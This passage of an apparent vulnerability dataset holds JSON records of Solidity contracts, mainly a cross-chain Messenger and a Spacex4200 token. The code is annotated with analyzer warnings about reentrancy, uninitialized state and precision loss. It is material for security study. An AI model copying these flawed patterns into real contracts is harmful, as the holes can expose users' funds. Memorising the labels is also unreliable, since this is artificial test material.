}\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n uint256[49] private __gap;\n}\n\ninterface IBridgeHandle {\n function sendMessage(\n uint16 _dstChainId,\n bytes memory _payload,\n address payable _refundAddress,\n bytes memory _adapterParams,\n uint256 _nativeFee\n ) external payable;\n\n function estimateFees(\n uint16 _dstChainId,\n bytes calldata _payload,\n bytes calldata _adapterParam\n ) external view returns (uint256 fee);\n}\n\ninterface IUserApplication {\n function receiveMessage(\n uint16 srcChainId,\n address srcAddress,\n uint64 nonce,\n bytes calldata payload\n ) external;\n}\n\ncontract Messenger is Initializable, OwnableUpgradeable, IUserApplication {\n uint16 public chainId;\n\n uint256 public maxLength;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ddd33c): Messenger.receiveMessage(uint16,address,uint64,bytes).nonce shadows Messenger.nonce (state variable)\n\t// Recommendation for 1ddd33c: Rename the local variables that shadow another component.\n mapping(uint16 => uint64) public nonce;\n\n mapping(uint16 => uint256) public fees;\n\n mapping(uint16 => IBridgeHandle) public bridgeHandle;\n\n mapping(address => Msg[]) public messages;\n\n struct Msg {\n address sender;\n string message;\n }\n\n function initialize(uint16 _chainId) public initializer {\n __Ownable_init();\n\n maxLength = 140;\n\n chainId = _chainId;\n }\n\n event MessageSend(\n uint64 indexed nonce,\n uint32 indexed dstChainId,\n address sender,\n address recipient,\n string message\n );\n\n event MessageReceived(\n uint64 indexed nonce,\n uint32 indexed srcChainId,\n address sender,\n address recipient,\n string message\n );\n\n event NewFee(uint16 chainId, uint256 fee);\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 808e58f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 808e58f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 87346dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 87346dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sendMessage(\n uint16 dstChainId,\n address recipient,\n string memory message,\n bytes calldata _adapterParams\n ) external payable {\n IBridgeHandle handle = bridgeHandle[dstChainId];\n\n require(address(handle) != address(0), \"Unsupported dstChain\");\n\n require(\n bytes(message).length <= maxLength,\n \"Maximum message length exceeded.\"\n );\n\n uint64 currentNonce = nonce[dstChainId];\n\n bytes memory payload = abi.encode(\n currentNonce,\n msg.sender,\n recipient,\n message\n );\n\n require(\n msg.value >= _estimateFee(dstChainId, payload, _adapterParams),\n \"insufficient Fee\"\n );\n\n uint256 bridgeFee = msg.value - fees[dstChainId];\n\n\t\t// reentrancy-events | ID: 808e58f\n\t\t// reentrancy-eth | ID: 87346dd\n handle.sendMessage{value: bridgeFee}(\n dstChainId,\n payload,\n payable(msg.sender),\n _adapterParams,\n bridgeFee\n );\n\n\t\t// reentrancy-eth | ID: 87346dd\n nonce[dstChainId]++;\n\n\t\t// reentrancy-events | ID: 808e58f\n emit MessageSend(\n currentNonce,\n dstChainId,\n msg.sender,\n recipient,\n message\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ddd33c): Messenger.receiveMessage(uint16,address,uint64,bytes).nonce shadows Messenger.nonce (state variable)\n\t// Recommendation for 1ddd33c: Rename the local variables that shadow another component.\n function receiveMessage(\n uint16 srcChainId,\n address srcAddress,\n uint64 nonce,\n bytes memory payload\n ) external {\n require(\n msg.sender == address(bridgeHandle[srcChainId]),\n \"invalid bridgeHandle caller\"\n );\n\n (\n uint64 nonce,\n address sender,\n address recipient,\n string memory message\n ) = abi.decode(payload, (uint64, address, address, string));\n\n messages[recipient].push(Msg(sender, message));\n\n emit MessageReceived(nonce, srcChainId, sender, recipient, message);\n }\n\n function _estimateFee(\n uint16 _dstChainId,\n bytes memory _payload,\n bytes memory _adapterParams\n ) internal view returns (uint256) {\n uint256 bridgeFee = bridgeHandle[_dstChainId].estimateFees(\n _dstChainId,\n _payload,\n _adapterParams\n );\n\n return bridgeFee + fees[_dstChainId];\n }\n\n function estimateFee(\n uint16 dstChainId,\n address recipient,\n string memory message,\n bytes memory adapterParams\n ) external view returns (uint256) {\n bytes memory payload = abi.encode(\n nonce[dstChainId],\n address(this),\n recipient,\n message\n );\n\n return _estimateFee(dstChainId, payload, adapterParams);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fb63ff0): Messenger.setMsgLength(uint256) should emit an event for maxLength = _maxLength \n\t// Recommendation for fb63ff0: Emit an event for critical parameter changes.\n function setMsgLength(uint256 _maxLength) external onlyOwner {\n\t\t// events-maths | ID: fb63ff0\n maxLength = _maxLength;\n }\n\n function setFee(uint16 _dstChainId, uint256 _fee) external onlyOwner {\n require(fees[_dstChainId] != _fee, \"Fee has already been set.\");\n\n fees[_dstChainId] = _fee;\n\n emit NewFee(_dstChainId, _fee);\n }\n\n function setBridgeHandle(\n uint16 _dstChainId,\n address _bridgeHandle\n ) external onlyOwner {\n bridgeHandle[_dstChainId] = IBridgeHandle(_bridgeHandle);\n }\n\n function claimFees() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10547.sol",
"size_bytes": 14670,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ad94e08): Spacex4200.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for ad94e08: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 75fec80): Spacex4200.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 75fec80: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 713e60f): Spacex4200.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for 713e60f: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9aac399): Spacex4200.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 9aac399: Consider ordering multiplication before division.\ncontract Spacex4200 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2761fd8): Spacex4200.bots is never initialized. It is used in Spacex4200._transfer(address,address,uint256)\n\t// Recommendation for 2761fd8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3e9414d): Spacex4200._taxWallet should be immutable \n\t// Recommendation for 3e9414d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8cf2d39): Spacex4200._initialBuyTax should be constant \n\t// Recommendation for 8cf2d39: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fcb9cf): Spacex4200._initialSellTax should be constant \n\t// Recommendation for 7fcb9cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 326196d): Spacex4200._finalBuyTax should be constant \n\t// Recommendation for 326196d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab7fb7a): Spacex4200._finalSellTax should be constant \n\t// Recommendation for ab7fb7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7b4b41): Spacex4200._reduceBuyTaxAt should be constant \n\t// Recommendation for b7b4b41: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d6395a): Spacex4200._reduceSellTaxAt should be constant \n\t// Recommendation for 2d6395a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbe8dcd): Spacex4200._preventSwapBefore should be constant \n\t// Recommendation for bbe8dcd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SPACEX4200\";\n\n string private constant _symbol = unicode\"SPCX\";\n\n\t// divide-before-multiply | ID: 713e60f\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: ad94e08\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5eac302): Spacex4200._taxSwapThreshold should be constant \n\t// Recommendation for 5eac302: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 75fec80\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 150202b): Spacex4200._maxTaxSwap should be constant \n\t// Recommendation for 150202b: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 9aac399\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x05Bd28c200C73D5B1e82d58Ec52ff44AF53B8E59);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a936f62): Spacex4200.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a936f62: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f0711e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f0711e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 858a843): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 858a843: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3f0711e\n\t\t// reentrancy-benign | ID: 858a843\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3f0711e\n\t\t// reentrancy-benign | ID: 858a843\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 10afb06): Spacex4200._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 10afb06: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 858a843\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3f0711e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 56a20ad): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 56a20ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2761fd8): Spacex4200.bots is never initialized. It is used in Spacex4200._transfer(address,address,uint256)\n\t// Recommendation for 2761fd8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 39c65d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 39c65d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 56a20ad\n\t\t\t\t// reentrancy-eth | ID: 39c65d3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 56a20ad\n\t\t\t\t\t// reentrancy-eth | ID: 39c65d3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 39c65d3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 39c65d3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 39c65d3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 56a20ad\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 39c65d3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 39c65d3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 56a20ad\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3f0711e\n\t\t// reentrancy-events | ID: 56a20ad\n\t\t// reentrancy-benign | ID: 858a843\n\t\t// reentrancy-eth | ID: 39c65d3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3f0711e\n\t\t// reentrancy-events | ID: 56a20ad\n\t\t// reentrancy-eth | ID: 39c65d3\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 245db4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 245db4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 09ed834): Spacex4200.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 09ed834: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3ab9c4d): Spacex4200.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3ab9c4d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2252480): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2252480: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 245db4f\n\t\t// reentrancy-eth | ID: 2252480\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 245db4f\n\t\t// unused-return | ID: 09ed834\n\t\t// reentrancy-eth | ID: 2252480\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 245db4f\n\t\t// unused-return | ID: 3ab9c4d\n\t\t// reentrancy-eth | ID: 2252480\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 245db4f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2252480\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10548.sol",
"size_bytes": 21871,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract DeVOTE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5017ec): DeVOTE._initialBuyTax should be constant \n\t// Recommendation for d5017ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5c30e5): DeVOTE._initialSellTax should be constant \n\t// Recommendation for f5c30e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e8f46): DeVOTE._finalBuyTax should be constant \n\t// Recommendation for 37e8f46: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab954da): DeVOTE._finalSellTax should be constant \n\t// Recommendation for ab954da: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 517262d): DeVOTE._reduceBuyTaxAt should be constant \n\t// Recommendation for 517262d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: eadb790): DeVOTE._reduceSellTaxAt should be constant \n\t// Recommendation for eadb790: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e26d3f): DeVOTE._preventSwapBefore should be constant \n\t// Recommendation for 0e26d3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 11;\n\n uint256 private _buyCount = 0;\n\n string private constant _name = unicode\"Decentralized Voting Protocol\";\n\n string private constant _symbol = unicode\"DeVOTE\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 18000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 18000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 378a184): DeVOTE._taxSwapThreshold should be constant \n\t// Recommendation for 378a184: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 14000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4eff661): 